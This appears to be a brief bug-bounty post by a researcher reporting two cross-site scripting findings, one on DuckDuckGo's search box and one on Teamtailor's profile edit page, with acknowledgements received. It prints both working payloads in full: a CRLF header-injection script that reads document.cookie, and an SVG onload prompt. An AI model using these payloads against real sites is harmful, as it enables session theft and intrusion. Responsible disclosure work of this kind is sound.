Acknowledgement + SWAG by Duck Duck Go

Vulnerability: Reflected Cross Site Scripting XSS
Vuln function: Search box


Payload: ref:xxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr

Got Acknowledgement + SWAG by Duck Duck Go for reporting security vulnerability. :)

Listed Security Hall of Fame at Teamtailor.

1) Vulnerability Name:

XSS: Cross Site Scripting Vulnerabilities

2) Vulnerability Point:

Inset video tag at User Profile edit page. ( https://www.teamtailor.com/profile/edit )

3) Payload:


"/><svg/onload=prompt("//XSS-By-Ye//")>









Hall of fame: https://resources.teamtailor.com/vulnerability